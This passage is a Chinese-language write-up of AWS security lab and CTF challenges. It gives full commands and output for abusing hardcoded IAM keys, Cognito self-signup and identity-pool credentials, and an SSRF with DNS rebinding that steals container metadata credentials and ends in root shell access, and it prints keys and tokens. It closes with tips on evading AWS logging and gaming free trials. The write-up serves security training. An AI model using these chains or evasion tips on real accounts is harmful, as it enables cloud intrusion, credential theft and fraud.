"AKIA2FGZF7I3JJBHZP7U" AWS_SECRET_ACCESS_KEY = "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"

Flag: flag{lab2_1_container_images_contain_source}

Lab 2.2

題目:Lab 2.2 — hardcoded user-4 credentials → EC2 user data flag | 竹狐 Web

接續上題,從 deployment_fixture.py 中可以看到有一組硬編碼的 IAM User Credentials:

USER_NAME = "user-4"
AWS_ACCESS_KEY_ID = "AKIA2FGZF7I3JJBHZP7U"
AWS_SECRET_ACCESS_KEY = "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"

沒有 AWS_SESSION_TOKEN 代表這組 Credentials 是長期有效的。

所以我們可以直接用這組 Credentials 來登入 AWS:

export AWS_ACCESS_KEY_ID=AKIA2FGZF7I3JJBHZP7U
export AWS_SECRET_ACCESS_KEY=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
export AWS_SESSION_TOKEN=
export AWS_REGION=us-east-1
aws sts get-caller-identity
{
    "UserId": "AIDA2FGZF7I3IYTZCSHD2",
    "Account": "698387659318",
    "Arn": "arn:aws:iam::698387659318:user/awssec-lab2-user-4"
}

值得注意的是我們這次不是拿到一個 Role,而是拿到一個 IAM User。
嘗試查看使用者詳細資料、權限

aws iam get-user
aws iam list-user-policies --user-name awssec-lab2-user-4
aws iam list-attached-user-policies --user-name awssec-lab2-user-4

卻發現都沒有權限查看自己的權限。

再次派上 aws-enumerator:

aws-enumerator enum -services all
aws-enumerator dump -services all

但只有 sts:GetCallerIdentity、sts:GetSessionToken、dynamodb:DescribeEndpoints,都沒什麼用。
aws-enumerator 有時的確會誤判(沒掃到)

於是我們需要一點人工勝過科技、AI 的黑魔法:通靈!

首先,從前面讀到的環境變數中可以看到 LAB_TARGET_INSTANCE=i-0f9f6e3b35c494fe7,所以我們可以試試看去查這個 EC2 的 User Data:

aws ec2 describe-instance-attribute --instance-id i-0f9f6e3b35c494fe7 --attribute userData

Q:User Data 是什麼?
A:EC2 啟動時會執行的 Code

我們取出他的 User Data,並用 base64 解碼:

aws ec2 describe-instance-attribute --instance-id i-0f9f6e3b35c494fe7 --attribute userData --query 'UserData.Value' --output text | base64 -d
#!/bin/sh
# A secret stashed in EC2 user data (the Lab 2.2 anti-pattern). Base64 in the
# user-data attribute is encoding, not encryption; any authorized API caller
# can read and decode it.
install -d -m 0700 /opt/lab2
printf '%s\n' 'flag{lab2_2_user_data_is_not_a_secret_store}' > /opt/lab2/flag
chmod 0600 /opt/lab2/flag

Flag: flag{lab2_2_user_data_is_not_a_secret_store}

lab2

Cognito

Cognito User Pool 是 AWS 的一個身份驗證服務,提供使用者註冊、登入、密碼重設等功能。
甚至可以從 Cognito Identity Pool 拿到 AWS 憑證!

改 User Attributes 可能可以打 Account Takeover、改自己餘額之類的

Lab 3.1

題目:Lab 3.1 — Unintended self-signup | 竹狐 Web

一個登入介面,沒有註冊按鈕

和AIS3 好厲駭 - Cloud Security 筆記 | R3X’s Blog # Lab9一樣,自己戳 Cognito User Pool API 註冊一個帳號就好。

註冊需要的參數去翻一下網站 js 就有了:

// Front-end configuration shipped to the browser, as a typical Amplify /
// amazon-cognito-identity-js single-page app would embed it. These values are
// not secrets, but the identity pool id here is enough to request AWS
// credentials for the authenticated role.
var APP_CONFIG = {
  region: "us-east-1",
  userPoolId: "us-east-1_G7alQylr6",
  userPoolWebClientId: "20miupokafb5m4dq2eak8ji6ni",
  identityPoolId: "us-east-1:c1a42f32-8653-4512-a927-40b974ddb27c",
  loginProvider: "cognito-idp.us-east-1.amazonaws.com/us-east-1_G7alQylr6"
};

var REGION = APP_CONFIG.region;
var CLIENT_ID = APP_CONFIG.userPoolWebClientId;
var ENDPOINT = "https://cognito-idp." + REGION + ".amazonaws.com/";

var form = document.getElementById("login");
var out = document.getElementById("out");
var submit = document.getElementById("submit");

function show(msg, ok) {
  out.hidden = false;
  out.textContent = msg;
  out.className = ok ? "ok" : "err";
}

function decodeClaims(token) {
  var payload = token.split(".")[1].replace(/-/g, "+").replace(/_/g, "/");
  return JSON.parse(decodeURIComponent(escape(atob(payload))));
}

form.addEventListener("submit", function (e) {
  e.preventDefault();
  submit.disabled = true;
  show("Signing in…", true);
  var username = document.getElementById("username").value;
  var password = document.getElementById("password").value;

  fetch(ENDPOINT, {
    method: "POST",
    headers: {
      "content-type": "application/x-amz-json-1.1",
      "x-amz-target": "AWSCognitoIdentityProviderService.InitiateAuth"
    },
    body: JSON.stringify({
      AuthFlow: "USER_PASSWORD_AUTH",
      ClientId: CLIENT_ID,
      AuthParameters: { USERNAME: username, PASSWORD: password }
    })
  })
    .then(function (r) { return r.json().then(function (d) { return { ok: r.ok, data: d }; }); })
    .then(function (res) {
      if (!res.ok) {
        var type = (res.data.__type || "Error").split("#").pop();
        show("Login failed: " + type + (res.data.message ? "\n" + res.data.message : ""), false);
        return;
      }
      var result = res.data.AuthenticationResult;
      if (!result || !result.IdToken) {
        show("Additional challenge required: " + (res.data.ChallengeName || "unknown"), false);
        return;
      }
      var claims = decodeClaims(result.IdToken);
      var who = claims["cognito:username"] || username;
      show("Welcome, " + who + "!\n\nFlag: " + (claims.flag || "(no flag claim present)"), true);
    })
    .catch(function (err) { show("Request error: " + err.message, false); })
    .then(function () { submit.disabled = false; });
});

來註冊吧!

aws cognito-idp sign-up \
  --region us-east-1 \
  --client-id 20miupokafb5m4dq2eak8ji6ni \
  --username 'r3xdj' \
  --password 'r3xdj123456'

回到網站用 r3xdj / r3xdj123456 登入,就可以看到 Flag 了。

Flag: flag{lab3_cognito_unintended_self_signup}

有人說直接把登入請求的 header 的 X-Amz-Target 改成 AWSCognitoIdentityProviderService.SignUp 也可以成功註冊帳號

Lab 3.2

題目:Lab 3.2 — Identity pool credentials and S3 object versions | 竹狐 Web

上題我們已經註冊得到了一個帳號。接著我們用 Cognito Identity Pool 來拿一個 AWS 憑證。

先登入

aws cognito-idp initiate-auth \
  --region us-east-1 \
  --client-id 20miupokafb5m4dq2eak8ji6ni \
  --auth-flow USER_PASSWORD_AUTH \
  --auth-parameters \
    USERNAME='r3xdj',PASSWORD='r3xdj123456'

會回傳很多欄位,這裡的重點是 IdToken,我們可以用以下指令查詢時取出該欄位並存入環境變數 ID_TOKEN:

ID_TOKEN=$(
  aws cognito-idp initiate-auth \
    --region us-east-1 \
    --client-id '20miupokafb5m4dq2eak8ji6ni' \
    --auth-flow USER_PASSWORD_AUTH \
    --auth-parameters \
      USERNAME='r3xdj',PASSWORD='r3xdj123456' \
    --query 'AuthenticationResult.IdToken' \
    --output text
)

從前面網站的 js 可以看到 Identity Pool 的 ID:

var IDENTITY_POOL_ID = "us-east-1:c1a42f32-8653-4512-a927-40b974ddb27c";

我們能用以下指令得到 IdentityId,並自動存入環境變數 IDENTITY_ID:

IDENTITY_POOL_ID='us-east-1:c1a42f32-8653-4512-a927-40b974ddb27c'
IDENTITY_ID=$(
  aws cognito-identity get-id \
    --region us-east-1 \
    --identity-pool-id $IDENTITY_POOL_ID \
    --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_G7alQylr6=$ID_TOKEN" \
    --query 'IdentityId' \
    --output text
)

最後用 Identity ID 換 AWS credentials:

aws cognito-identity get-credentials-for-identity \
  --identity-id "$IDENTITY_ID" \
  --region us-east-1 \
  --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_G7alQylr6=$ID_TOKEN"

有了!

{
    "IdentityId": "us-east-1:a29b25fa-3650-c52a-5a95-e8f88d3b1a7f",
    "Credentials": {
        "AccessKeyId": "ASIA2FGZF7I3OOQNMIHW",
        "SecretKey": "OUU1/SwwFQq9fgi0XoluGlTKpAssdB5hjKf8wQC7",
        "SessionToken": "IQoJb3JpZ2luX2VjEOH//////////wEaCXVzLWVhc3QtMSJIMEYCIQD8QmfLCpUsB/WfkytDaRYFhS3nJXwssT/WtHCtWfI4KgIhAMFbTyeuMX6J3821aOOTsKY+/eOOLDcemtdplk8sIWxzKs8ECKn//////////wEQABoMNjk4Mzg3NjU5MzE4IgyAwQ5FOyiSsgu2IUQqowTJVsUlVTPlAqIYm/Lwy3PPUfrl0BKEjFcIKdROmkvkDbEk5FNGFKiH/n3Y7Eoq2b820OkLdlFwqLgFSQtF+ZULeRKt6/stXJrZ67M7nvJVXxC760qKToh8KdBi0v2/d8QU9O8CDbPG2BN40vbK3ht3TqqYlvoHX3fjBPn+cgujjtFyIai3hl9OmCwpknIbkfOpYMIQQ3FgV4qW64wPUfbvP/nkWeOLKndSfgDKgMvBjv1SP/UkyHFMrMPyfZC5hA9MdaIOUC8r5uyG+LjV2of7D1FcoCPwWRiuTBaje5+CxN/KSUlsFxymNCfXf6j/rOc7S/00LTQ88u6U9HOvoO66tfUcU/pAfsy6Vk9icpMDEz+lPdotav+u7NDxdN3UDJbLdO59dsILjm3lWdwpRDI28nEttg6LTq6iTdRpLQWH8ZsnYq+bckSW6MUjqVUXybDODKdn6Ho4AaBA7XaiKrasd0hnu2rBLPFFbyUewGw6LzKKD0DNyQs/xzwfA6er2+mrVVtlY/D4WlHLPKFkBYbSbnSEVK8oswTnh6BmT06l63prqyE0nJ4mQg4diVfCfmJPyD3xSSwMB+vQWfISCT3WXIyh20zn38bHNIlAFKcG/8qbIYjqKqyFoeq8qxXSyW1EvUxXeteTKbimUW5JigsOCu4+nnUMUF5uBIbMXLNVeOT2WQiee7Ho096lm4aT1QDhkjEOVe+LfCcCI8DZMwXXXV5dMLfzgtYGOoICNdFjULdPxs9cvYwvwisjamHwOqMT5ErhNCQ+BVFb2UUJh9Tg270Qua59wzTNYVwjaFCk0TaQzxSrAFvVaboGLFLl06W2zwmkcYM5QTtVcuDymL1bRruGdpidalJHjZ+UmLm9OMMNQsAKMC+LsvMnINE78PJwhVs4N2Iuyk2Z/Am5FzGKIflkqdbKV8h9vioal0rnS76AieXslnbdoBAMYQ7qcxcDabwz0chE5fytdKCwC6lpIwGxHpnsOovnm56umgxuvjJ2CGmUMkFTIaPZAdwfBUPXtHZVi6TsxJcQ/DE3zTzI9PqKy+eREMzNzRVpbttx9+vKCq6HW/TEbpVmUsrm",
        "Expiration": "2026-10-03T17:15:51+08:00"
    }
}

以下這個指令能在查詢後自動把 AWS credentials 存入環境變數:

CREDS=$(
  aws cognito-identity get-credentials-for-identity \
    --region us-east-1 \
    --identity-id "$IDENTITY_ID" \
    --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_G7alQylr6=$ID_TOKEN"
)

export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' <<< "$CREDS")
export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretKey' <<< "$CREDS")
export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' <<< "$CREDS")
export AWS_DEFAULT_REGION=us-east-1
aws sts get-caller-identity

得到 Role:awssec-lab3-cognito-role-5!

後面要再做什麼我忘了XD

整理一下,以下這些地方可以拿到 AWS 憑證:

  1. Leak (GitHub, Docker Image, etc.)
  2. SSRF
  3. RCE
  4. Lambda: env
  5. Cognito Identity Pool

S3

爆破 AWS Account ID 技巧

S3 Shadow Resources

某些 AWS 服務 (如 CloudFormation) 會自動建立 S3 Bucket,攻擊者可搶先註冊 S3 Bucket 名稱,控制裡面的東西

AIS3 Pre Exam 2026

題目:PDF Converter | 竹狐 Web

題目給了一個 Website to PDF 線上工具,並有以下文字:

Ready
Only public http:// and https:// URLs are allowed. JS-heavy pages may not render exactly.

Private IP ranges, localhost, and credentialed URLs are blocked. The renderer targets static HTML and CSS rather than browser-executed JavaScript.

同時,題目有送 phpinfo:http://3.235.121.161:8080/phpinfo.php
可以發現有 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 為 /v2/credentials/d8e278d4-3fbd-440e-821f-8fbf22b846f3。但直接打 http://169.254.170.2/v2/credentials/d8e278d4-3fbd-440e-821f-8fbf22b846f3 會被擋掉。

我們可以用 DNS Rebinding 繞過:使用工具 http://1u.ms
讓那個 Website to PDF 工具打以下網站:http://make-1.1.1.1-rebindfor30s-169.254.170.2-rr.1u.ms/v2/credentials/d8e278d4-3fbd-440e-821f-8fbf22b846f3

就能得到 AWS Credentials:

{
 "RoleArn": "arn:aws:iam::698387659318:role/url-to-pdf-task",
 "AccessKeyId": "ASIA2FGZF7I3HVSGTTB7",
 "SecretAccessKey": "2RABv6qzyr6FePmhtHHXG/YkLphuFIunuWRpGuQz",
 "Token":
"IQoJb3JpZ2luX2VjEOH//////////wEaCXVzLWVhc3QtMSJHMEUCIQDvE6uOIQV6VEQTNpsiSTCd
hYiK/n20k4bTL1oLKreebwIgc76XKSSJuBV6XVY6lFRDEEo8RTGiw11KXqHwGMWybuEq9AMIqv///
///////ARAAGgw2OTgzODc2NTkzMTgiDOulrSBi+K9R6vPZRCrIAwDGh58L1FxDy7kwftOJPI1hJo
sOdDkurnQFksuz+E8Dy340kVkpLxzDP3QC+Y9B5dE5rVVGyEuP/cFfHclpDGhtJOHqoEsX/uTOpDC
wTZqwAMFz65Y6qi/BZyQ007XYB9gdngNS0LHt7Rhsxwv5+Rw8kpjPkC73pkEtzd4lZLqqPJXOnm3t
iUyKQA+OblhemzpwxwS7dvcp5xp+kcllMoxMVBBB5uRlXqaBj9tzESiTT4rx7EQQEAUeNKRbZVqW7
iF1L4umz2+lhau8TQykMPlXCQytyW9c5uMr1aVsgO/BeyVUscK4i/JyFXmjKZoJID+nDB7lkw4kMo
1JhRqqzIEwE4UQlashagwAW2jEbpXrH6z72fCy1rLAeXTjv0I1k91iNzZoYCpvEEgk+rIyjLbRXlw
AiLvmT8B05aRAgKmAVEOsMYtbeO6sq0WjMJIa602abt7TwSTBY6KTpXal/9fsCBM676Qhh7Gb+nGh
MfAgoyenxb7JYUiXW8wI0ToB7YzQfXFEc89fRlYQe837fXeH7+R9rNpH866zTg6sN2xSrCRyEZUyS
Q05Ojb6C/oRAFPMfEGnzk+JXYcbDDa4aQUGWurwRXAXVDDkgoPWBjqlAaYHhU8I8ptO/1urcDVjOx
V2WoP/dmgmByu3URDOEcT8U//pw3P+MaHj7ABhVEd8DkNUN2MfZr2cIWOdqgEyltoUtk4UKtqWYAh
CZmBjLIaWwhpCpdjOSJ7a4/mcjg5nYS5uAYTMCIHvQqH59LS9lNWJA6s3QmOUaurS56Ybr98bSojp
vbQrdA6DrevnCYqYJbLLlIzmP1ZvLdz/f4jKVObQZOHTrA==",
 "Expiration": "2026-10-03T14:48:36Z"
}
export AWS_ACCESS_KEY_ID=ASIA2FGZF7I3HVSGTTB7
export AWS_SECRET_ACCESS_KEY=2RABv6qzyr6FePmhtHHXG/YkLphuFIunuWRpGuQz
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEOH//////////wEaCXVzLWVhc3QtMSJHMEUCIQDvE6uOIQV6VEQTNpsiSTCdhYiK/n20k4bTL1oLKreebwIgc76XKSSJuBV6XVY6lFRDEEo8RTGiw11KXqHwGMWybuEq9AMIqv//////////ARAAGgw2OTgzODc2NTkzMTgiDOulrSBi+K9R6vPZRCrIAwDGh58L1FxDy7kwftOJPI1hJosOdDkurnQFksuz+E8Dy340kVkpLxzDP3QC+Y9B5dE5rVVGyEuP/cFfHclpDGhtJOHqoEsX/uTOpDCwTZqwAMFz65Y6qi/BZyQ007XYB9gdngNS0LHt7Rhsxwv5+Rw8kpjPkC73pkEtzd4lZLqqPJXOnm3tiUyKQA+OblhemzpwxwS7dvcp5xp+kcllMoxMVBBB5uRlXqaBj9tzESiTT4rx7EQQEAUeNKRbZVqW7iF1L4umz2+lhau8TQykMPlXCQytyW9c5uMr1aVsgO/BeyVUscK4i/JyFXmjKZoJID+nDB7lkw4kMo1JhRqqzIEwE4UQlashagwAW2jEbpXrH6z72fCy1rLAeXTjv0I1k91iNzZoYCpvEEgk+rIyjLbRXlwAiLvmT8B05aRAgKmAVEOsMYtbeO6sq0WjMJIa602abt7TwSTBY6KTpXal/9fsCBM676Qhh7Gb+nGhMfAgoyenxb7JYUiXW8wI0ToB7YzQfXFEc89fRlYQe837fXeH7+R9rNpH866zTg6sN2xSrCRyEZUySQ05Ojb6C/oRAFPMfEGnzk+JXYcbDDa4aQUGWurwRXAXVDDkgoPWBjqlAaYHhU8I8ptO/1urcDVjOxV2WoP/dmgmByu3URDOEcT8U//pw3P+MaHj7ABhVEd8DkNUN2MfZr2cIWOdqgEyltoUtk4UKtqWYAhCZmBjLIaWwhpCpdjOSJ7a4/mcjg5nYS5uAYTMCIHvQqH59LS9lNWJA6s3QmOUaurS56Ybr98bSojpvbQrdA6DrevnCYqYJbLLlIzmP1ZvLdz/f4jKVObQZOHTrA==" # 這裡有事先用 tr -d "/n" 去掉換行
export AWS_REGION=us-east-1
aws sts get-caller-identity
{
    "UserId": "AROA2FGZF7I3H7WRVKEXK:b044befdd0c84bf4ba8b967015c2b41f",
    "Account": "698387659318",
    "Arn": "arn:aws:sts::698387659318:assumed-role/url-to-pdf-task/b044befdd0c84bf4ba8b967015c2b41f"
}
aws iam get-role --role-name url-to-pdf-task
aws iam list-attached-role-policies --role-name url-to-pdf-task

都沒權限查看,所以又是通靈的局,可以通出有 ssm:StartSession 的權限,這個權限可以讓我們去啟動 SSM Session,進入 EC2。

用一樣的 DNS Rebinding 手法去打 http://make-1.1.1.1-rebindfor30s-169.254.169.254-rr.1u.ms/latest/meta-data/instance-id,就能拿到 EC2 Instance ID:i-020a74a4d601b524a。

動用 StartSession 大法:

aws ssm start-session --target i-020a74a4d601b524a

進入 EC2 後接下來要怎麼做呢?

從之前的 phpinfo 能看到 $_ENV['AWS_EXECUTION_ENV'] 是 AWS_ECS_EC2,所以猜測架構是 EC2 裡包一個 ECS (Docker Container)。我們是著在登進 ECS Docker Container。

sudo docker ps
# CONTAINER ID   IMAGE                                                                        COMMAND                  CREATED       STATUS                 PORTS     NAMES
# df75bb62e5ae   698387659318.dkr.ecr.us-east-1.amazonaws.com/url-to-pdf:dev-20261003012635   "docker-php-entrypoi…"   8 hours ago   Up 8 hours (healthy)             ecs-url-to-pdf-18-app-8685cfa3cf81bbb57f00
# ba35e596bc10   amazon/amazon-ecs-agent:latest                                               "/agent"                 8 hours ago   Up 8 hours (healthy)             ecs-agent
sudo docker exec -u 0 -it df75bb62e5ae /bin/sh

以 root 身份進入 Container 後,直接去看根目錄就可以看到 flag.txt 了。

whoami
# root
ls /
# bin  boot  dev  etc  flag.txt  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
cat flag.txt
# AIS3{RJ12_4d4641c13f0d9d6580f56933d534757633bee278892cb6120531edba3f2010d4}

Flag: AIS3{RJ12_4d4641c13f0d9d6580f56933d534757633bee278892cb6120531edba3f2010d4}

其他

如何水 AWS 免費試用:

  • 預付卡
  • 網路上的簡訊代收服務
  • AWS 校園大使

學習資源

  • 靶機
    • AWSGoat
    • CloudGoat

如何不留 Log:

  • 有時會有 AWS Beta API (沒有官方文檔),有些 Beta API 不會留 log (AWS 的洞,可能很快就會被修掉):看 crt.sh 找 Beta 的 subDomain

自動化攻擊工具:

自動化提權工具:

  • LinPEAS